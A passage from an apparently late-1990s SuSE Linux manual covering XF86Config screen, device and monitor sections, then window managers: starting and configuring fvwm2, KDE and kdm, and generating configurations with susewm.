        Modes       "1280x960" "1152x864" "1024x768" "800x600"
        ViewPort    0 0
        Virtual     1280 960
    EndSubsection
    Subsection "Display"
        Depth       32
        Modes       "1024x768" "800x600" "640x480"
        ViewPort    0 0
        Virtual     1024 768
    EndSubsection
EndSection
```

File contents 9.3.1: Example screen section for `/etc/XF86Config`

`Accel`	For special accelerated servers
`Mono`	Not VGA 1 and 4 bit server
`SVGA`	Super VGA server
`VGA2`	1 Bit (monochrome) VGA server
`VGA16`	4 Bit VGA server

Table 9.1: Driver keywords for the screen section in `/etc/XF86Config`

There can be a screen section for each server in `XF86Config` which will be used if the corresponding server is started.

The next two lines, **`Device`** and **`Monitor`**, specify the graphics card and the monitor which belong to this definition. These just point to the Device and Monitor sections with the corresponding names. These sections are discussed later in more detail.

Using **`ColorDepth`**, you can set the color mode to start if it is started without explicitly setting the mode.

There is a **`Display`** subsection for each color depth. **`Depth`** assigns the color depth of this subsection. Possible values for **`Depth`** are: 8, 16, 24 and 32. Not every X-server supports all these modes. For most systems, 24 and 32 are equivalent, some others take 24 for packed-pixel 24bpp mode, whereas others choose 32 for padded-pixel mode.

After the color depth, a list of resolutions is set (**Modes**). This list is checked by the server from left to right. For each resolution, a suitable **Modeline**, is searched for, which has to correspond to one of the given clock rates or a clock rate to program the card.

The first one found is the so-called **Default mode**. Using Ctrl + Alt + grey + , you can switch to right, using Ctrl + Alt + grey - to the left, thus enabling you to vary the resolution at runtime.

The last two lines of this subsection refer to the size and anchor of the virtual screen . Size depends on the amount of memory installed on your card and the desired color depth, not on the maximum resolution of the monitor. If the card has 1 MB video RAM installed, the virtual screen can be up to 1024x1024 by 8 bit color depth. Especially for accelerated cards, it is not recommended to use up all your memory for the virtual screen, since this memory on the card is used for several font and graphics caches.

The size of the virtual screen is assigned by **Virtual**.

Viewport assigns a *viewport*. This is the point where the upper left corner of the physical screen is reflected in the virtual screen. Assigning ('0 0') means that the upper left corners overlap at startup time. The visible section is moved across the virtual screen by moving the mouse to the edge. Thus, the viewport is only important at startup time and even then only if the size of the virtual screen differs from the size of the real screen.

Device section

A device section describes a certain graphics card. There can be as many device entries in `XF86Config` as you like, as long as the names of them differ.

We do not go into greater detail about the device section. Instead, we recommend you use the extensive documentation (`/usr/X11/lib/X11/doc` and the manual pages [The XFree86™-Team, 1996]).

This chapter mainly shows where to get predefined device sections and sets which cards are supported by XFree86.

In `/usr/X11R6/lib/X11/doc/Devices`, there is a collection of device sections. If you used a card mentioned in this file, you should set the appropriate section in `/etc/XF86Config` and adapt the screen section by entering the specific device.

If the card is not listed, this does not necessarily mean that this card is not supported by XFree86! This mainly means that no adequate device section has been sent to the XFree86 team. A list of supported cards can be found in `/usr/X11/lib/X11/doc/README`. In `/usr/X11/lib/X11/doc/AccelCards`, there is a list of accelerated cards.

Monitor section

Monitor sections describe a monitor analogous to the device sections. Again, there can be as many **Monitor** sections as desired in `XF86Config`. The screen section sets which monitor section is relevant.

For monitor definition, the same applies: it should only be set by experienced users. A vital part of the monitor section are the so-called modelines, which set horizontal and vertical timings for the appropriate resolution.

Without a profound knowledge of the monitors and graphics cards functions, nothing should be changed in the modelines since this can lead to severe damage to your monitor!

For those who might want to develop their own monitor descriptions, the documentation in `/usr/X11/lib/X11/doc` might come in handy. It is recommended to have a look at [Fang et al., 1993] where function, hardware and the creation of modelines are explained in great detail.

Predefined monitor sections that are taken over in `XF86Config` are to be found in `/usr/X11/lib/X11/Monitors`. A monitor not listed there should be driven with VESA standard timings such as set by **xf86config**. It is really important that horizontal and vertical sync frequencies be set correctly!

If you have a tested configuration which was not mentioned here, we at SuSE or the XFree86 team will be happy to include it in the list.

Chapter **10**

The window manager—window to your machine

Once the configuration of the X-Server is accomplished, the typical user immediately wants to implement a colorful desktop with windows, menus and loads of other stuff that a first-rate desktop needs.

This chapter deals with window managers.[1] Here, the following topics are covered:

- the window manager and its tasks
- **fvwm2**—*the* window manager
- **fvwm2**—the K Desktop Environment as an alternative
- **susewm**—a very elegant way to your own configuration file
- real life—adapting and configuring your personal desktop

Even if you are eager to rush ahead, you still need some theory to begin with, so hold on!

10.1 Some theory

10.1.1 General

In contrast to the monolithic graphics desktops used in Windows and OS/2, the various functional layers used by UNIX and Linux are separated into independent sections. This, at first glance, makes the system more complex. On the other hand, it gains flexibility and the system is able to handle more complex tasks.

The first layer is the operating system, which handles "trivial" tasks like memory management, for example.

On the next layer is located the ☞*X Server* (X Window System), which corresponds to the "graphics device driver" used in other systems. The X-server provides a transparency layer below the GUI itself. Thus, you are able to use these services via an entire network (including the Internet).

In a nutshell: The "only" things the X-server cannot do are:

- communicate with the graphics card,

[1] *Window Manager* is abbreviated as *WM*.

- draw dots, lines, rectangles and text, and
- distribute services over the net or on the local host.

Most users run a local X-Server anyway but even they may exploit the services it provides. You may launch applications on a server, e. g., in the office, and redirect the output to your local screen. Another example: you don't need to sit in the same room with your noisy, roaring server; just connect a small and smart workstation via Ethernet and you can work on the server remotely.

Now, to be able to display all the graphics stuff such as rectangles and things known as "windows", the services of a window manager are essential.

Windows are important to clarify context; windows let you start applications in windows next to each other. Menus make use of your system easily at your fingertips.

The window manager is an additional layer between the X-server, your application programs and the user.[2]

Figure 10.1: Layers of GUIs under Linux

On Linux there is a wide variety of window managers, e. g.:

- **fvwm** and **fvwm2** (*the* window manager)
- **fvwm95** (Windows 95 clone)
- **bowman** (look and feel of **NeXTSTEP**)
- **ctwm**
- **afterstep**
- **olvwm** (**OpenLook** virtual window manager)
- **cde** – Common Desktop Environment (commercial)
- **kwm** – window manager of the K Desktop Environments (KDE)

In addition, there are many other window managers available. Among others: **wm2**, **mlvwm**, **qvwm**, **enlightenment**, **9wm**, **twm**, **icewm**, and **scwm**.

[2] X application developers may access the server directly.

Which window manager you use depends mainly on your preferences and the supplied functions. There are remarkable differences in memory use between the window managers. Still, more over the setup and the flexibility to accommodate new features and updates. In figure 10.2, figure 10.3 and figure 10.4 you see three examples of window decoration used by **fvwm**, **fvwm95** and **AfterStep**.

Figure 10.2: Fvwm2 window decoration

Figure 10.3: Fvwm95 window decoration

Figure 10.4: AfterStep window decoration

Of course, you may test and install any number of window managers. Once you have decided on one window manager, you can adapt it and your personal desktop to your needs.

Most of the WMs mentioned locate their configuration files and related data in subdirectories of `/usr/X11R6/lib/X11`. Feel free to rummage around!

> Hint: most of the information in this chapter refers to **fvwm2** or **KDE**. We recommend them both!

10.1.2 What does a window manager manage?

Here is a short (and incomplete) list of what desktop properties you can change by using a window manager:

- appearance of your windows
  - width and height, colors, 3D effects of the window frame
  - window controls, e. g., for moving, enlarging, title, fonts (window decoration), headlines and fonts
- overlapping of windows
  - raising of windows (e. g., AutoRaise).

- pinning of windows
- focusing of windows by:
  - clicking
  - touching with the mouse pointer
- popup menus
  - look and feel of menus (colors, fonts)
  - behavior of menus and submenus
- screen background
- virtual desktop (multiple desktops/screens)
- icon management
- linking sounds to actions on your desktop

Unfortunately, only a few window managers provide a means for configuring themselves. There is no configuration tool as you might expect. Some of them do have a GUI for setup. These are: **AfterStep**, **Olvwm**, **CDE** and **KDE**.

Most WMs read one or more configuration files at startup. The behavior of the WMs may be set in these files. The syntax itself is more or less mnemonic. It's a pity that all of the WMs use a different format for saving their configuration files. You are obliged to read the appropriate manpages.

In the end, you will choose one WM to be "your" WM. You will learn its idiosyncrasies and configure it to suit your needs.

10.1.3 Starting different window managers

For starting a WM, SuSE Linux provides several alternatives depending on how you start your X Window System.[3]

Starting using the susewm menu

susewm provides a list of menus that may be launched directly from the task bar.

You may freely switch around between the installed WMs. Normally, the windows on your screen will remain untouched (only the decoration changes). However, this feature is not available with **ctwm**, **mwm**, **kwm** and **CDE**.

The variable $WINDOWMANAGER

In the long run, it will be annoying if you want to use, for example, **fvwm95** and have to start the pre-set **fvwm2** each time just to change over to **fvwm95** via the menu.

For that reason, the environment variable **$WINDOWMANAGER** was introduced for starting a specific WM right from the start. The value of the variable **$WINDOWMANAGER** is used to start a particular WM.

[3] The two main ways are either via **xdm** or a text console.

Starting with `startx`

First, we want to provide you with a way to start the X Window System right from the text console via **`startx`**.

You can do it easily, for example, using the following command:

```
newbie@earth: > startx fvwm95
```

to start **fvwm95** directly. This works for most of the WMs included in SuSE Linux. This command may be extended for the color depth. For example, if you want to start the color intensive **AfterStep** (**`afterstep`**):

```
newbie@earth: > startx afterstep -- -bpp 16
```

starts the X Window System in 16 bit color mode (65536 colors) using the **afterstep** WM. (In these examples, we always use the name of the WM binary.)

If you don't want to enter the name of a WM every time at the beginning, or if you want to use a WM other than **fvwm2** as standard, you can insert or change the following line in the file `~/.bashrc` in path **$HOME**:

```
export WINDOWMANAGER=fvwm95
```

Here, you need to set the WM's binary. You might need to enter the complete pathname, especially if `/usr/X11R6/bin` is not included in **$PATH**.

You may as well insert this entry in the system-wide `/etc/profile` for setting it system-wide as default. As any user might overwrite this setting in their personal `~/.bashrc` file, we at SuSE did not set it (e. g., with YaST).

Start via `xdm`

Setting an environment variable in `~/.bashrc` is the best way to use your favourite WM if you plan to work with the XDM.

> If you start your X Window System via **kdm** (a feature of **KDE**), you may not set the environment variable **$WINDOWMANAGER**. Instead, select your WM from the **kdm** pulldown menu. See section 10.4.

10.2 The fvwm2 window manager

General

Now we want to tell you more about **Fvwm2** (**`fvwm2`**), a window manager that quickly became *the* window manager for Linux and XFree86.

Fvwm2[4] is the successor to the old **fvwm1**. It needs much more memory than the older version but provides lots of new functionalities and configuration possibilities.

Besides the usual functions for managing windows and the look and feel of the buttons and desktop, it now provides background menus and modular applications which can be loaded at runtime. These features provide interesting functions such as, e. g., a button-bar.

[4] In SuSE Linux, **fvwm2** is in package `fvwm`, series `xwm`. The previous version, **fvwm**, is in package `fvwm1`, series `xwm`.

More information about functions, starting, and configuring **fvwm2** and its modules is in the corresponding manual pages:

- manpage of `fvwm2` (`man fvwm2`)
- manpage of `FvwmAudio` (`man FvwmAudio`)
- manpage of `FvwmButtons` (`man FvwmButtons`), etc.

or in `/usr/doc/packages/fvwm` which is automatically installed when installing the **fvwm** package. Look at these documents first for any questions you may have.

> As the original packages of both **fvwm** and **fvwm2** use the same place for their manual pages, a special procedure is required to view them. You can read the manpages for **fvwm2** as usual with the **man** command. The manpages of **fvwm** (version 1) and **fvwm95** have been relocated to different directories on SuSE Linux.

To read a **fvwm** (version 1) manpage, use the command **fvwmman**. For example:

```
fvwmman FvwmButtons
```

To read a **Fvwm95** manpage, use the command **fvwm95man**. For example:

```
fvwm95man FvwmButtons
```

Then you will get access to the manpage for **FvwmButtons** of the corresponding package. You can also view the manpages of the different WMs right from the `'Work menu'`. You can find these *special* manpages (if available) in the menu `'Window Manager'`, submenu `'man pages'`.

If you don't want to start from scratch, you may generate a configuration "frame" with **susewm** and then tailor it to your needs. **susewm** is described in section 10.5.

Configuration of fvwm2

fvwm2 is configured via two files:

- A system-wide configuration file (`.fvwm2rc` in `/usr/X11R6/lib/X11/fvwm2`) which should be available at any time
- A user-specific file (`~/.fvwm2rc` in the home directory of the user) which is not really necessary (but recommended)

The package **susewm**, described later, ensures the existence of a system-wide configuration file for **fvwm2**.

fvwm2 reads these configuration files at startup.[5] First, **fvwm2** tries to read the user's configuration file. If this doesn't exist, it reads the system-wide file.

All **fvwm2** modules read this file too, but they use only the commands that apply to themselves.

[5] In general, the window manager is started either from `/usr/X11R6/lib/X11/xinit/xinitrc` or from the user's private configuration file `~/.xinitrc`. The environment variable **$WINDOWMANAGER** should be set to the full pathname of the corresponding window manager.

It is recommended that every user create their own configuration file, which they can change and adapt to their personal needs.

> After changing configuration files, the WM has to be restarted for the changes to take effect.

To restart **fvwm**, there is a menu entry supplied with the pre-installed SuSE Linux configuration in the 'Work menu' called 'Window Manager'. You could as well restart the X-server with **startx** from the command line. It is also possible to restart the WM from within an **xterm** or a text console. Just enter:

```
newbie@earth: > killall -10 fvwm2
```

To change the configuration interactively, **fvwm** provides **FvwmConfig**. This tool, however, offers only very limited configuration capabilities since modifications cannot be saved. In addition, there are also the modules **FvmSave** and **FvwmSaveDesk** which can, in fact, save the actual state of the WM. However, their files can not be read automatically at the next start of the WM. If you're interested, please read the manpages for these modules.

10.3 Fvwm2 settings

General

We now delve deeper into your personal **Fvwm2** configuration file. Of course, you should have created one in advance. How to use **susewm** to create a WM configuration file is described in section 10.5. Besides the file created by **susewm**, you may also use the configuration file provided by the authors of **fvwm2**. This may be found in `/usr/doc/packages/fvwm/system.fvwm2rc`.

Now start up your favorite editor and load the file `~/.fvwm2rc`. We will have a look at some of the options.

What happens when fvwm2 starts

Scroll through the text until you reach the following comment:

```
#########################################################
#                                                       #
#   initialization function head                        #
#   common to all wms                                   #
#                                                       #
#########################################################
```

File contents 10.3.1: **InitFunction** in /.fvwm2rc

Under here, you will find anything that is launched at a *restart* of **fvwm2**. Here, the banner **FvwmBanner** is loaded , a couple of **xterms** and an **xpmroot** is launched. **xpmroot** puts images onto your root windows . For that purpose, you can use any program that is capable of writing onto the root window (e. g., **xli**, **xv**, etc.).

Here is an example using **xv**:

```
+  "I"  Exec xv -quit -root -owncmap -maxpect ~/pics/bild13.gif
```

You would also place this background picture command among the sections which are executed with the restart of **fvwm2**, e. g., within **Restart Function**. This is located under:

```
########################################################
#                                                      #
#   restart function                                   #
#   common to all wms                                  #
#                                                      #
########################################################
```

File contents 10.3.2: **RestartFunction** in ~/.fvwm2rc

Often, the two sections, **InitFunction** and **RestartFunction**, look the same, since they both deal with starting the WM. In **RestartFunction**, you do not normally include **fvwm's** banner.

Newer versions of **fvwm** (**Fvwm**, **Fvwm2**, **Fvwm95**, **Bowman** and **AfterStep** in SuSE Linux5.0 and later) have an additional **ExitFunction** besides **InitFunction** and **RestartFunction**. This function enables you to set programs that have to be started *before* the WM is launched, or *before* you exit the WM. So you can remove a background picture before restarting the WM sets a new one.

Colors and fonts

The settings for colors and fonts can be found in the following section:

```
########################################################
#                                                      #
#   colors and fonts                                   #
#                                                      #
########################################################
```

File contents 10.3.3: Color and font settings in ~/.fvwm2rc

Here, you can do whatever you like. Select the colors you like best. You can use any installed color. Which colors are installed depends mostly on your graphics card and the color depth. Press the right mouse button in the root menu and go to the item 'System Tools'. Here, change to 'Information'. Far at the end, you should see an icon 'XColors'. Start it and it will show you all the colors known to your system. All names of these colors can be found in /usr/X11R6/lib/X11/rgb.txt.

A few of the commands in this section resemble the following one:

```
WindowFont  -misc-fixed-bold-r-normal-*-13-*-75-75-c-80-iso8859-1
```

This is the systematic description of a font under X11. Every font is classified in this style. It would lead far beyond the scope of this book to explain everything contained in this description.

The fonts reside in `/usr/X11R6/lib/X11/fonts/misc`. In this directory, there is the file `fonts.alias` which contains all font aliases for this font directory. To make life easier, here are a couple of the most well-known *aliases*.

```
variable  -*-helvetica-bold-r-normal-*-*-120-*-*-*-*-iso8859-1
5x7       -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1
```

It's much easier to remember these names … `:-)`

Icons

Icons are specified using the **`Style`** command:

```
#
# others
#

Style  "xterm"          Icon Terminal.xpm
Style  "xosview"        NoTitle, Sticky
Style  "xosview"        UsePPosition
```

File contents 10.3.4: Icons for certain windows

Here, you can assign icons to the corresponding applications. You only have to be sure that these icons are in the **`IconPath`** (which is set almost at the beginning of `~/.fvwm2rc`). In principle, you can take any icon that resides in `/usr/X11R6/include/X11/3dpixmaps/` as well. This is only one example. There are many more sources for pixmaps. All icons not in **`IconPath`** need their absolute path name.

Let's assume you want to assign a ghost icon to **ghostview**. Look in the directory mentioned above and you will see the icon `ghostbusters.xpm`. Just insert the following line:

```
Style   "ghostview"   Icon ghostbusters.xpm
```

That's it. You can give icons to almost all applications in the same way. Most applications already have default icons. Anyway, you have to know the name of the application,[6] since an "xTerm" instead of "xterm" would lead to no success. The name of a certain window can be identified from the `'Work menu'` by selecting `'Window Manager'`, `'Modules'`, `'Ident'` (Program name **FvwmIdent**) and then clicking on the window of interest.

Cursor

Even the shape and color of the mouse cursor can be set. Here, you have the tool **xsetroot** (which can be used for setting the root window as well in a rather simple way). It is invoked as:

[6] To be precise, the exact name.

```
newbie@earth: > xsetroot -cursor <bitmapfile>
```

Here, **bitmapfile** stands for any bitmap file. The bitmaps are located in `/usr/X11R6/include/X11/bitmaps/` by default. Select a suitable one or create your own, e. g., with **bitmap**.

Focus

An extremely popular feature of the Fvwm WM family is that you can change the behavior of the windows by changing the active window while the system is running. You can change the focus and raising policy of the windows in the configuration file.

With *focus*, we define the properties of the WM which submit the actual entries and mouse clicks to a certain window. Basically, there are 3 possibilities:

- You have to click on a window for, i.e., doing key entries to the process active in the window. This behavior is called *Click to focus*. It's a widely spread standard and can also be found in Windows and OS/2.
- You point with the mouse cursor on a certain window and the window receives automatically the focus. This reaction is called *Focus follows mouse*. If the mouse Pointer leaves the window, the focus also leaves the window, even in the case that the cursor is located over the background or on another window.
- A more advanced version is the *Sloppy Focus* behavior, which can be configured with **Fvwm2** and **Fvwm95**. In this case, the focus shows the same behavior as *Focus follows mouse*, but with the exception that the focus stays with the focused window as long as you do not focus on another window. The focus even stays with the window touched if you move the mouse cursor over the background.

With **Fvwm2**, you can set the focus behavior individually for every single window. Like many other settings, the configuration of the focus is done with a **Style** command:

```
Style "*" ClickToFocus
```

This adjusts the focus, setting **ClickToFocus** for all windows. The same may be done for the settings **SloppyFocus** and **FocusFollowsMouse**, the latter being the default of **Fvwm2**.

10.3.1 Autoraise

Autoraising of windows is an interesting feature. Normally, the windows keep their position while the focus changes until you click onto the title bar. Autoraise raises the focused windows to the top of the stack. Obviously, this only makes sense along with **FocusFollowsMouse** or **SloppyFocus**. There is no effect if you use **SloppyFocus**.

To activate AutoRaising, either start the **Fvwm** module AutoRaising from the menu '`Window Manager`', '`Modules`', '`AutoRaise On/Off`', or, for installing it permanently, insert an entry into **Fvwm's** configuration file, `~/.fvwm2rc`, into the functions **InitFunction** and **RestartFunction**:

```
Function InitFunction
  +     "I"   Module  FvwmAuto 200

Function RestartFunction
  +     "I"   Module  FvwmAuto 200
```

The value 200 sets the delay to 200 milliseconds, before a window is popped to the foreground. If you don't have a delay set, every touch of a window leads to a "movement" of windows which will result in permanent flicker.

10.4 KDE—the K Desktop Environment

KDE is a graphical user interface that is standardized and easy to configure. Many applications use the KDE look and feel. KDE stands for "K Desktop Environment" and is a project founded in 1996.

KDE comes with a window manager, **kwm**, a file manager, **kfm**, which plays a central role, and a system-wide help system, **kdehelp**. This help system supports HTML manpages as well as GNU info. Many applications are available for KDE, including mailers, news readers, games, system info tools and many more.

Please be aware that KDE is still considered beta software (as you can see in the version). It may happen that it crashes. Luckily, this doesn't happen often.

KDE is totally ☞*URL* based. This, in particular, means that every path uses a standard form (e. g., links to files, links to an HTML page, a file in your filesystem, a help page or an FTP site). Thus, it is possible to view different files and formats with the same viewer.

Furthermore, KDE has many drag-and-drop features (e. g., copying a file from an FTP site to your local system).

The KDE helpdesk, **kdehelp**, is a powerful application. All authors are obliged to provide their help pages as HTML pages. Besides the help system itself (this may be launched from each application itself via its `'Help'` button), it is capable of browsing even GNU info pages or UNIX manpages.

One of KDE's most attractive features is its overall integration. It is simple to create icons and place them onto your desktop.

This behavior of KDE is made possible by means of the QT widget set. Similar to Motif, QT is a set of graphics libraries that enable you to create GUIs on the X Window System. Please note that the licence conditions of QT differ from GPL (see `/usr/doc/packages/qt/LICENSE`).

10.4.1 Installation overview

Here, we give a short overview of the KDE installation—mainly path settings, location of files and configuration options.

By default, KDE is written to `/opt/kde`. Every KDE application may be found under this subdirectory. Setting an environment variable **$KDEDIR** in `/etc/profile` makes it easier to access KDE applications.

The KDE binary path `/opt/kde/bin` is automatically added to your **$PATH** variable when you install KDE.

There are many subdirectories under `/opt/kde`. In table 10.1, we discuss only the most important ones.

`/opt/kde/bin`	all KDE program binaries
`/opt/kde/share/config`	system-wide configuration files
`/opt/kde/share/applnk`	application links (menu)
`/opt/kde/share/apps`	files of KDE programs
`/opt/kde/share/doc`	the on-line help system
`/usr/doc/packages/kde`	additional information on KDE

Table 10.1: KDE—important directories

10.4.2 kdm—a graphical login

The KDM display manager, **kdm**, is a nice feature of the KDM system. This tool replaces the default **xdm** which provides a graphical login to Linux. KDM's default configuration with SuSE Linux is shown in figure 10.5.

Figure 10.5: The **kdm** display manager

There are buttons for selecting the desired window manager (`'Session Type'`) or the language (`'Language'`). An interesting feature (especially for standalone workstations) is the `'Shutdown'` button to shutdown the machine.

kdm may be adapted to your needs either via a configuration file in `/opt/kde/share/config/kdmrc` or, since Beta 3, from a configuration dialog which may be launched from the KDE menu.

SuSE Linux provides another enhancement—the configuration of the WMs themselves and the startup mechanism of **kdm**.

Here, you should create two variables:[7]

[7] These variables are described on page 338.

- **DISPLAYMANAGER**
  Assigns whether the user wants to log into a text console, run level 2, or via `kdm` or `xdm`, run level 3. For text console, enter `console` or the empty string `""`.
- **KDM_SHUTDOWN**
  Assigns which user is permitted to shut down the machine from within **kdm**. Here, you may enter either `'root'` (`root`), every user (`all`), nobody (`none`) or a user on the local machine (`local`).

SuSEconfig writes these values to `/opt/kde/share/config/kdmrc` and they are available at the next start of **kdm** (you may want to restart the server by entering Ctrl Alt ⟵). If you plan to make changes yourself, please make them in `kdmrc.in` as `/opt/kde/share/config/kdmrc` is created from this file by **SuSEconfig**.

> If you want to get rid of this mechanism, just delete or remove `/opt/kde/share/config/kdmrc.in` and **SuSEconfig** will no longer touch your `kdmrc`.

10.4.3 So, what's so special about KDE?

Now that we are able to use **kdm's** graphical login, it is time to go into the details of KDE. We will just describe the behavior of KDE after you have started the server by entering **`startx`** or via **kdm**.

Shortly after the actual login, a couple of dialog boxes appear announcing that certain files and directories are missing. This is not an error. KDE creates configuration directories in your home directory that are similar to its tree under `/opt/kde`. These, in particular, are: **$HOME**`/.kde` and **$HOME**`/Desktop`. The first is for configuration files and the latter for links. Thus, you may just press ↵ in the dialog boxes. They won't appear at the next KDE session.

Thereafter, the **kfm** (K file manager) is launched. **kfm** is a basic component of the KDE system. As mentioned above, it is able to handle many different file formats. The behavior is totally transparent to the user: be it an archive from an FTP site (URL prefix: `ftp:`), a manpage (URL prefix `man:`), a GNU info page (URL prefix `info:`) or an HTML page from a WWW site (URL prefix `http:`). It is even possible to view images using an external tool. A typical KDE desktop is shown in figure 10.6. The user will become familiar with these features in minutes.

Clicking on a symbol with the right mouse button opens the **kdm** configuration tool for this application. Every setting of the application itself is written to a file with the `.kdelnk` extension. Changing settings is done via a property window as shown in figure 10.7. This file is an editable ASCII file. It is recommended that you look at these files located in **$HOME**`/Desktop` (or in `/opt/kde/share/applnk` for the system-wide configuration files). The contents are standard to all KDE applications. So if you know how to write just one of them, you are set.

The last program to be launched is **KPanel**, the menu bar. Here, you will find some objects for the virtual desktops. A special one is the "K" button.

Figure 10.6: The filemanager **kfm**

Here, all available KDE applications are grouped together (see `kdelnk` files!). Here, you will also find the KDE system settings via the KDE control center and much more.

But that's not all **KPanel** has to offer. You may copy application icons using drag-and-drop onto it and launch them directly from the panel. Moreover, **KPanel** may incorporate applications. These might be system information applications such as the **kwmpager** or **xosview**. These will now run within the **KPanel**.

Another of KDE's programs, the **kdisplay**, is shown in figure 10.8.

Of course, we cannot list each and every KDE application in this manual. One of KDE's aims is to make the machine more usable and user-friendly. Please look around at the various applications that come with KDE yourself.

Help is available with most of KDE's applications. You may reach **kdehelp** by clicking onto the background with the right mouse button.

But keep in mind that some of the KDE packages are still considered alpha. This, in particular, means that they may crash or other strange things may happen. In general, this should no longer happen.

Because of the complexity of KDE and its rapid pace of development, these packages are not yet included in our installation support. We try to provide you with as much KDE information as we can in our Support Data Base. There are a couple of mailing lists available from the KDE WWW site (`http://www.kde.org`). Here, you will find information on many topics as well as the latest release of KDE and its applications.

We at SuSE provide you with specially adapted KDE packages that may be downloaded from our FTP site `ftp://ftp.suse.com/pub/suse_update/KDE`. These packages may be installed using YaST. Please look at the README files located at this same URL.

10.5 Configuring the window manager using susewm

Figure 10.7: The **kdm** property dialog

What is susewm?

susewm simplifies configuration for the supported WMs (**Fvwm**, **Fvwm2**, **Fvwm95**, **Bowman**, **AfterStep** (**`afterstep`**), **Ctwm**, **Mwm**[8], and **kwm**).[9]

Since **fvwm**, **bowman**, **afterstep**, **fvwm2** and **fvwm95** are mainly based on the same WM, where **fvwm2** is the descendant of **fvwm**, these five window managers are configured mainly the same way and supply almost identical features.

On the other hand, there are considerable differences in configuring these WMs. To let the user have the benefit of all the common tasks of these WMs without having to maintain five different configuration files, **susewm** combines their configuration using an abstract macro language.

susewm can also configure the totally different WMs **ctwm**, **mwm** and **kwm**. However, this only covers the automatically generated menu entries (more in the sections below).

[8] MWM is part of the commercial **Metrolink Motif** or **Metrolink Motif Runtime Libraries** respectively.

[9] The pseudo-WM **CDEsim** (`cdesim`) should be excluded here. More information can be found in package `cdesim`, series `xwm`, in directory `/usr/doc/packages/cdesim`.

Figure 10.8: Setting up your display with **kdisplay**

Differences between these single WMs can be taken into consideration using WM specific statements.

One of the most refined features **susewm** offers is that it creates menus and supported modules depending on the installed software packages. There are no menu entries for packages which are not installed. If you select a menu item, you can be sure that the corresponding program is installed and can be launched.

Here are some more features of **susewm**:

- configuration of eight window managers: **Fvwm**, **Fvwm2**, **Fvwm95**, **Bowman**, **Afterstep**, **Ctwm**, **Mwm** and **kwm**
- a central library for all WMs—unified macros for different configuration files
- additive configuration files for taking specialities and peculiarities of the WMs into consideration
- loading of additional source files[10] on your system via `/etc/rc.config` for automatic configuration
- able to reference source files for a specific user in their $HOME directory during automatic configuration
- creation of user-specific configuration files that preserve almost any changes the user has made in older configuration files

[10] In general, source files are WM configuration files. To use them with **susewm**, files in **susewm** format are preferred.

- unified commands for all eight WMs
- integrates widely used commercial applications, which are not part of SuSE Linux, into WM menus
- switches between supported window managers without having to change startup scripts
- clearly designed **m4** macros

Technically, **susewm** is a set of several shell scripts and **m4** macros, as well as a database. Details will not be covered in this section. If you want to know more about **susewm**, please refer to the on-line documentation as described in section 10.5.

How to use susewm

susewm is used in two different cases:

- You don't have a configuration file of your own yet but want to adapt your desktop accordingly.
- You already have a configuration file but software has been installed using YaST and the menus are no longer up to date.

Here, the following is assumed to be installed:

- Your Linux system and the X Window System XFree86 are installed, configured properly and running.
- You use the **fvwm2** WM (which is the default with SuSE Linux), but perhaps have another supported WM installed.
- **susewm** is installed on your system with standard settings.
- You are logged in as a normal user, e. g., as the sample user defined with the standard installation of YaST, but not as `'root'`.
- You have set the language to be `English`. The same conditions apply for German menus.

This is how it is done. If you click on the root window (which actually is the "background") with your left mouse button, a menu appears. This is called the `'Work menu'`. Here, the most often used programs needed for your work are listed (this will depend on the individual user).

The last entry on this menu (`'Window Manager'`) contains a submenu with selections concerning functions and configurations of the current running WM. If you want to configure another WM, just switch to it first using menu item `'Other window managers'`.

From the `'Window Manager'` submenu click on `'Configuration'`. On this submenu, you will find several choices in each of four menu sections:

- The choices of the first menu section are for reading the documentation on **susewm**. There you will find details not handled in this section.
- The choices of the second menu section allow you to change the configuration file of your PC with an ☞*editor*.
- The choices of the third menu section help in creating a user-specific configuration file in the language you choose.

Figure 10.9: Menus for WM configuration

The `'Work menu'` breakout for **fvwm2** can be seen in figure 10.9.

If you choose to build a configuration file (from the third menu section), a window with **mksusewmrc** appears (this program is a part of **susewm**). Just read the text and press the appropriate buttons when asked.

That's it. Now you can change and edit your freshly created config file in your $HOME directory. **susewm** will take over almost everything to the new configuration file.

If you want to change the settings of the desktops *even slightly*, you have to create a configuration file of your own first. How this is done has been explained above. Only after this, can you change the file. If you plan to write a *completely different* configuration file, don't use **susewm**.

An example

A colored desktop is nice, but what's the use if the hardware (memory, processor, hard disk) is not fast enough? It's not the point of a WM to use up all the resources for animating icons and other baubles. Here is a hint about what to do if you think that your machine is too slow when you start up **fvwm95** or **fvwm2**: most problems are due to the hundreds of icons that are loaded. There are now three possibilities:

- Deinstall the package `3dpixms` and also package `3dpixm` if you don't want to have the big icons either.

- Set in the YaST menu `‘System administration’`, submenu `‘Change configuration file’` the variable **SUSEWM_XPM=no**, which results in the same effect as mentioned above. In case you have changed the variable directly in the file `/etc/rc.config`, please don't forget after doing so to start **SuSEconfig**.
- Remove the icons from configuration file.

The first way is rather simple. Just start YaST and uninstall the mentioned packages. YaST in conjunction with **susewm** will ensure that the system-wide WM configuration file is modified. If you have a user-specific configuration file, you have to modify it explicitly using an appropriate selection from the WM menu as described above in this section.

The second way doesn't need to be explained further.

The third way: let **susewm** create a configuration file for you as described above. Then remove all references to loading icons.

```
AddToMenu thiswmpopup "Fvwm2"   Title

+ "Other windowmanagerr%small.warning_3d.xpm%" Popup otherwmpopup
+ "Configuration%small.checklist2_3d.xpm%"      Popup susewmpopup
+ ""                                            Nop
+ "Fvwm2 Restartt%small.restart_suse_3d.xpm%"   Restart fvwm2
+ "Exit Fvwm2 and%small.exit.xpm%"         Function QuitSave

# end popup thiswmpopup
```

File contents 10.5.1: `.fvwm2rc` with icons for menu entries

```
AddToMenu thiswmpopup "Fvwm2"   Title

+ "Other window manager" Popup otherwmpopup
+ "Configuration"         Popup susewmpopup
+ ""                      Nop
+ "Fvwm2 Restart"        Restart fvwm2
+ "Exit Fvwm2 and X"   Function QuitSave

# end popup thiswmpopup
```

File contents 10.5.2: `.fvwm2rc` without icons for menu entries

Now **fvwm95** or **fvwm2** should start even faster. And, as mentioned before, all personal changes you have applied to your configuration file should persist even if you invoke **susewm** a second time.

10.6 Customizing your configuration

As promised above, we are now going to tailor the look and functions of your personal desktop—why buy something predefined if we can tailor it ourselves?

First, some general information about configuring the desktop—there are two places you can adjust:

- the pre-settings for the applications of the X Window System
- the WM configuration file(s) as already mentioned in section 10.3

X11 application defaults

Global settings

